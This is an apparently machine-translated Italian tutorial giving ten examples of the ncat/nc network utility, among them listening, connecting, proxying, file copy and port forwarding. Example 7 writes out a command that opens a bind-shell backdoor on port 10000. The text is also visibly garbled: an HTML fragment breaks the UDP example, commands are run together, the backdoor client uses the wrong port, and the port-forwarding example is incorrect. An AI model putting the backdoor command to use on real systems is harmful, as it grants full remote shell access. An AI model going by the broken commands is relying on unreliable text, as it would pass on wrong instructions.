ncat o nc è un’utilità di rete con funzionalità simili al comando cat ma per la rete. Si tratta di uno strumento CLI general purpose per la lettura, la scrittura, il reindirizzamento dei dati attraverso una rete. È progettato per essere uno strumento di back-end affidabile che può essere utilizzato con script o altri programmi. È anche un ottimo strumento per il debug di rete, in quanto può creare qualsiasi tipo di connessione di cui si possa aver bisogno.

ncat / nc può essere uno strumento di scansione delle porte, uno strumento di sicurezza o uno strumento di monitoraggio ed è anche un semplice proxy TCP., Dal momento che ha così tante caratteristiche, è conosciuto come un coltellino svizzero di rete. È uno di quegli strumenti che ogni amministratore di sistema dovrebbe conoscere& master.

Nella maggior parte delle distribuzioni Debian ‘nc’ è disponibile e il suo pacchetto viene installato automaticamente durante l’installazione. Ma nell’installazione minima di CentOS 7 / RHEL 7 non troverai nc come pacchetto predefinito. È necessario installare utilizzando il seguente comando.,

# yum install nmap-ncat -y

Gli amministratori di sistema possono usarlo per controllare la sicurezza del loro sistema, possono usarlo per trovare le porte aperte & piuttosto che proteggerle. Gli amministratori possono anche usarlo come client per il controllo di server web, server telnet, server di posta ecc., con ‘ nc ‘possiamo controllare ogni carattere inviato & può anche visualizzare le risposte alle query inviate.

Possiamo anche far sì che acquisisca i dati inviati dal cliente per capire cosa stanno facendo.,

In questo tutorial, impareremo come usare il comando ‘nc’ con 10 esempi,

Esempio: 1) Ascoltare le connessioni in entrata

Ncat può funzionare in modalità di ascolto & possiamo ascoltare le connessioni in entrata sul numero di porta con l’opzione ‘l’. Il comando completo è,

nc ncat-l port_number

Ad esempio,

$ ncat -l 8080

Il server inizierà ora ad ascoltare la porta 8080 per le connessioni in entrata.,

Esempio: 2) Connettersi a un sistema remoto

Per la connessione a un sistema remoto con nc, possiamo utilizzare il seguente comando,

$ ncat IP_address port_number

prendiamo un esempio,

$ ncat 192.168.1.100 80

Ora una connessione a server con indirizzo IP 192.168.1.100 sarà effettuato presso la porta 80 & ora siamo in grado di inviare istruzioni al server. Come possiamo ottenere il contenuto completo della pagina con

GET / HTTP / 1.1

o ottenere il nome della pagina,

GET / HTTP / 1.1

o possiamo ottenere banner per il fingerprinting del sistema operativo con il seguente,

HEAD/HTTP / 1.,1

Questo dirà quale software viene utilizzato per eseguire il server web.

Esempio: 3) Connessione alle porte UDP

Per impostazione predefinita , l’utilità nc effettua connessioni solo alle porte TCP.,eabfde”>

Ora il nostro sistema di iniziare ad ascoltare di una porta udp ‘1234’, siamo in grado di verificare questo utilizzando sotto il comando netstat,

supponiamo di voler inviare o test della porta UDP di connettività ad uno specifico host remoto, utilizzare il seguente comando,

$ ncat -v -u {host-ip} {udp-porta}

esempio:

# ncat -v -u 192.168.105.150 53Ncat: Version 6.40 ( http://nmap.org/ncat )Ncat: Connected to 192.168.105.150:53.

Esempio: 4) NC come strumento di chat

NC può essere utilizzato anche come strumento di chat, si può configurare il server in ascolto su una porta & che può effettuare la connessione al server da un computer remoto sulla stessa porta & avviare l’invio del messaggio., Sul lato server, eseguire

$ ncat -l 8080

Sulla macchina client remota, eseguire

$ ncat 192.168.1.100 8080

Di iniziare a inviare messaggi & verranno visualizzati sul terminale del server.

Esempio: 5) NC come proxy

NC può essere utilizzato anche come proxy con un semplice comando. Facciamo un esempio,

$ ncat -l 8080 | ncat 192.168.1.200 80

Ora tutte le connessioni che arrivano al nostro server sulla porta 8080 verranno automaticamente reindirizzate al server 192.168.1.200 sulla porta 80., Ma dal momento che stiamo usando una pipe, i dati possono essere trasferiti solo & per essere in grado di ricevere i dati, dobbiamo creare una pipe bidirezionale. Utilizzare i seguenti comandi per farlo,

$ mkfifo 2way$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

Ora sarete in grado di inviare& ricevere dati su proxy nc.

Esempio: 6) Copiare file usando nc/ncat

NC può anche essere usato per copiare i file da un sistema all’altro, anche se non è raccomandato& per lo più tutti i sistemi hanno ssh / scp installato di default., Tuttavia, se vi siete imbattuti in un sistema senza ssh / scp, potete anche usare nc come ultimo sforzo.

Inizia con la macchina sulla quale i dati devono essere ricevuti & start nc è un ascoltatore modalità,

$ ncat -l 8080 > file.txt

Ora sulla macchina da cui i dati devono essere copiati, eseguire il seguente comando,

$ ncat 192.168.1.100 8080 --send-only < data.txt

Qui, dati.txt è il file che deve essere inviato. – send – only opzione chiuderà la connessione una volta che il file è stato copiato. Se non si utilizza questa opzione, che avremo premere ctrl + c per chiudere la connessione manualmente.,

Possiamo anche copiare intere partizioni del disco usando questo metodo, ma dovrebbe essere fatto con cautela.

Esempio: 7) Creare una backdoor tramite nc / natt

Il comando NC può anche essere usato per creare backdoor nei tuoi sistemi & questa tecnica è in realtà usata molto dagli hacker. Dovremmo sapere come funziona per proteggere il nostro sistema. Per creare una backdoor, il comando è,

$ ncat -l 10000 -e /bin/bash

‘e‘ flag allega un bash alla porta 10000., Ora un client può connettersi alla porta 10000 sul server & avrà accesso completo al nostro sistema tramite bash,

$ ncat 192.168.1.100 1000

Esempio: 8) Port forwarding via nc/ncat

Si può anche utilizzare NC per il port forwarding con l’aiuto di opzione di ‘c’ , la sintassi per la realizzazione di port forwarding,

$ ncat -u -l 80 -c 'ncat -u -l 8080'

Ora, tutte le connessioni sulla porta 80 verrà inoltrata alla porta 8080.

Esempio: 9) Impostare i timeout di connessione

La modalità Listener in ncat continuerà a funzionare & dovrebbe essere terminata manualmente., Ma possiamo configurare i timeout con l’opzione ‘w’,

$ ncat -w 10 192.168.1.100 8080

Questo farà sì che la connessione venga terminata in 10 secondi, ma può essere utilizzata solo sul lato client& non sul lato server.

Esempio: 10) Forza il server a rimanere attivo usando l’opzione-k in ncat

Quando il client si disconnette dal server, dopo qualche tempo anche il server smette di ascoltare. Ma possiamo forzare il server a rimanere connesso & continuando l’ascolto della porta con l’opzione ‘k’., Esegui il seguente comando,

$ ncat -l -k 8080

Ora il server rimarrà attivo, anche se una connessione dal client è interrotta.